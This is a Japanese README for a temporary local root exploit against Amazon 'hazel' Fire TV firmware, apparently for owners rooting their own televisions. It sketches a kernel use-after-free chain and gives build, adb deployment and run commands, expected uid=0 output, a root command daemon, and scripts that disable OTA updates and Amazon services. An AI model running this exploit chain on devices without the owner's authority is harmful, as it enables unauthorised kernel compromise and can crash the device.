
ファームウェア固有の一時的ルートエクスプロイト。Toshiba/Amazon Fire TV(hazel)向けで、CVE-2026-43499を利用します。ARM32 futex-PI UAF、カーネルアドレスリーク、mm_structリクレーム、資格情報パッチを実装し、ADB経由でUID 0を達成します。
Amazon hazel Fire TV プラットフォーム向けの一時的 root エクスプロイトで、CVE-2026-43499 に基づいています。このエクスプロイトは、複数のメーカーの Hazel テレビで共有されている ARM32 Linux 4.9 ファームウェアを対象としています。プロファイルは現在、PS7657.3645N から PS7716.5665N までのファームウェアをカバーしています。
現在ハードウェアでテスト済みの構成は次のとおりです:
| デバイス | Toshiba Fire TV (hazel) |
| Fire OS ビルド | PS7716.5665N |
| カーネル | Linux 4.9.113 |
| 製品モデル | AFTHA004 (C350) |
[!WARNING] このエクスプロイトは複数の Hazel リリースをサポートしていますが、依然としてファームウェア固有です。カーネルアドレス、構造体オフセット、および再利用設定は厳格なプロファイルから読み込まれます。
PS7716.5665Nはハードウェアでテスト済みです。同梱されている古いプロファイルは静的なファームウェア解析に基づいており、一致するテレビからの報告がまだ必要です。プロファイルのマッチングを回避したり、無関係なファームウェアにアドレスを手動でコピーしたりしないでください。静的に生成されたプロファイルは、一致するハードウェアでの確認が依然として必要です。
ヒープ再利用に失敗すると、パニックが発生してテレビが再起動する可能性があります。root は一時的なものであり、再起動後に失われます。テレビがフリーズした場合は、いつでも電源を入れ直すことができます。
このエクスプロイトは CVE-2026-43499 を使用して、通常の ADB シェル環境から一時的な UID 0 を取得します。
エクスプロイトチェーンには以下が含まれます:
mm_struct のクロスキャッシュ再利用実行に成功すると、エクスプロイトは root パスに必要なカーネルオブジェクトを維持したまま、ローカルコマンドデーモンを起動します。
SELinux は強制 (Enforcing) のままです。root デーモンを介して実行されるコマンドは、shell SELinux ドメインと、このファームウェアで利用可能なケーパビリティバウンディングセットを保持します。
hazel_root.c メインのエクスプロイト、カーネル読み書きステージ、資格情報のパッチ適用、および root コマンドクライアント/サーバーhazel_reclaim.h カーネルアドレスのリークと mm_struct のクロスキャッシュ再利用hazel_profile.c、hazel_profile.h 厳格なプロファイルパーサーとランタイムマッチャーprofiles/ レビュー済みおよび生成済みのファームウェアプロファイルtools/profile_creator/ Python/uv によるファームウェアアナライザーと互換プロファイル作成ツールtools/device_scripts/ オプションの OTA、Amazon サービス、およびランチャーユーティリティ以下の例では、Linux 上で adb が $PATH に含まれていることを前提としています。
NDK を Android NDK r27d のディレクトリに設定してください:
export NDK=/path/to/android-ndk-r27d
次にコンパイルします:
"$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" \
--target=armv7a-linux-androideabi28 \
-O2 -g0 -Wall -Wextra -Wpedantic -fPIE -pie \
hazel_root.c hazel_profile.c -o hazel_root \
-pthread
ADB を使用して TV に接続します。
ネットワーク ADB を使用する場合:
adb connect <TV_IP>:5555
エクスプロイトをプッシュします:
adb shell mkdir -p /data/local/tmp/profiles
adb push hazel_root /data/local/tmp/hazel_root
adb shell chmod 755 /data/local/tmp/hazel_root
adb push profiles/. /data/local/tmp/profiles/
プロファイル選択をエクスプロイトをトリガーせずに確認する:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile'
ローダーは ro.product.device、ビルドフィンガープリント、インクリメンタルバージョン、カーネルリリース、およびアーキテクチャの完全一致を要求します。不正な形式のプロファイル、未知のフィールド、サポートされていないエクスプロイトパス、一致が見つからない場合、および複数のプロファイルが一致する場合を拒否します。明示的なプロファイルは次のようにして確認できます:
adb shell 'cd /data/local/tmp && ./hazel_root --check-profile --profile profiles/PROFILE.conf'
クリーンブートから開始します:
adb shell 'cd /data/local/tmp && ./hazel_root'
正常に完了した実行は、次のような出力で終わります:
[root] uid=0 euid=0 gid=0
[ROOT] uid=0 daemon pid=... socket=@hazel_root
回収は確率的です。失敗した試行はクリーンに失敗するか、パニックを起こしてテレビを再起動する可能性があります。
テレビが再起動した場合は、正常に起動させてから再度試行してください。
エクスプロイトが成功したら、別のコピーを起動しないでください。実行中のプロセスを閉じて、次のコマンドに進んでください。
同じバイナリが root デーモンのクライアントとして機能します:
adb shell 'cd /data/local/tmp && ./hazel_root --client id'
例:
adb shell 'cd /data/local/tmp && ./hazel_root --client getenforce'
adb shell 'cd /data/local/tmp && ./hazel_root --client cat /proc/self/status'
adb shell 'cd /data/local/tmp && ./hazel_root --client "id; uname -a"'
成功した root コマンドは次を報告するはずです:
uid=0(root) gid=0(root) context=u:r:shell:s0
UID 0 は SELinux をバイパスしないことに注意してください。SELinux は Enforcing のままです。
tools/device_scripts/disable_ota.sh を root デーモン経由でプッシュして実行します:
adb push tools/device_scripts/disable_ota.sh /data/local/tmp/disable_ota.sh
adb shell chmod 755 /data/local/tmp/disable_ota.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_ota.sh"'
スクリプトは両方の Fire OS OTA パッケージを無効化し、保留中のアップデータ状態をクリアし、結果として得られる Package Manager の状態を検証します。TV の再起動は行いません。
tools/device_scripts/disable_amazon_services.sh は、Arcus リモート設定プロキシ、ADEP アプリケーションブロックサービス、Automatic Content Recognition (ACR)、およびテスト済みの Hazel ファームウェアに存在する専用の Amazon メトリクスパッケージを無効化します。ACR は無効化され、その保存データはクリアされますが、読み取り専用のシステム APK は削除されないため、この操作は可逆です。スクリプトは CrashManager や低レベルのログパッケージを無効化しないため、エクスプロイトの開発やトラブルシューティング中もカーネルパニックや Dropbox の診断情報が利用可能なままです。
スクリプトをプッシュし、root デーモン経由で実行します:
adb push tools/device_scripts/disable_amazon_services.sh /data/local/tmp/disable_amazon_services.sh
adb shell chmod 755 /data/local/tmp/disable_amazon_services.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh"'
現在の状態を何も変更せずに表示します:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh status"'
後で必要に応じてパッケージを復元します:
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/disable_amazon_services.sh restore"'
有効または無効化されたパッケージの状態は、通常は再起動後も維持されます。パッケージを復元しても、無効化中に消去されたパッケージデータは復元されません。
ランチャースクリプトも tools/device_scripts/ にあります。Projectivy を選択するには:
adb push tools/device_scripts/set_projectivy_launcher.sh /data/local/tmp/set_projectivy_launcher.sh
adb shell chmod 755 /data/local/tmp/set_projectivy_launcher.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/set_projectivy_launcher.sh"'
ストックランチャーを復元するには:
adb push tools/device_scripts/restore_stock_launcher.sh /data/local/tmp/restore_stock_launcher.sh
adb shell chmod 755 /data/local/tmp/restore_stock_launcher.sh
adb shell 'cd /data/local/tmp && ./hazel_root --client "sh /data/local/tmp/restore_stock_launcher.sh"'
TV を再起動します:
adb reboot
このエクスプロイトは一時的なカーネル状態のみを変更するため、再起動後には root は失われます。
root が有効な間に永続的な Android 設定やデータに対して意図的に行った変更は、もちろん再起動によって必ずしも元に戻るわけではありません。
現在ファームウェアアーカイブに掲載されている 24 個の Hazel ファームウェアバージョンはすべて、PS7657.3645N から PS7716.5665N まで profiles/ 内のプロファイルによって表現されています。デバイス識別情報が一致すれば、これらはすべて自動選択の対象として利用可能です。
| ファームウェアファミリー | プロファイル | 検証 |
|---|---|---|
| PS7702.4965N から PS7716.5665N | 12 プロファイル | Fire OS 7.7.x.x 以降。静的検証済み。PS7716 は Toshiba AFTHA004 でのハードウェアテストも実施済み。 |
| PS7657.3645N から PS7699.4896N | 12 プロファイル | より古い Fire OS 7.6.x.x リリース。静的再配置済みで、より実験的。一致するハードウェアでのテストは依然として必要。 |
PS7716 プロファイルは TCL の hazel-tm OTA から生成され、その後 Toshiba AFTHA004 で正常に使用されました。生成されたビルドデータにより完全なカーネルハッシュは異なりますが、レビュー済みのコード、アドレス、構造レイアウトは一致しています。
ローダーは実行時に analysis.* ハッシュを比較しません。Toshiba と TCL は同じ製品、フィンガープリント、インクリメンタルビルド、カーネルリリース、アーキテクチャを使用しており、マーケティングモデルはワイルドカード化されています。したがって、1 つの PS7716 プロファイルが両ブランドをカバーします。
PS7702.4965N は現在の 99% 類似度のフロンティアです。PS7702 およびそれ以降のすべてのプロファイルは、厳格な静的検証パスに合格しました。古い PS7657 から PS7699 までのプロファイルは独立した再配置を必要としたため、プロファイル作成者がそれら向けのプロファイルを出力するのに十分な証拠を見つけたとしても、より実験的です。
エクスプロイトには Toshiba や TCL のモデルチェックはありません。プロファイルは、正確なファームウェアおよびカーネル識別チェックを維持しつつ、マーケティングモデルをワイルドカード化する場合があります。したがって、この設計は、ファームウェアがレビュー済みプロファイルに一致し、カーネルが選択されたエクスプロイトパスをサポートする任意の hazel ボードテレビをサポートできます。
これは、hazel コードネームを報告するすべてのファームウェアが自動的に互換性を持つという意味ではありません。異なるカーネルレイアウト、CPU トポロジ、アロケータの動作、またはベンダーパッチは、別のプロファイルや別のエクスプロイトパスを必要とする場合があります。ローダーは、共有コードネームだけで十分だと仮定せず、一致しないビルドを拒否します。
プロファイル未登録の hazel デバイスとの互換性を仮定しないでください。
エクスプロイトの移植に関心がある場合、有用なターゲット情報には以下が含まれます:
adb shell getprop ro.product.model
adb shell getprop ro.product.device
adb shell getprop ro.product.board
adb shell getprop ro.build.version.incremental
adb shell uname -a
cd tools/profile_creator
uv run python profile_creator.py inspect /path/to/update.bin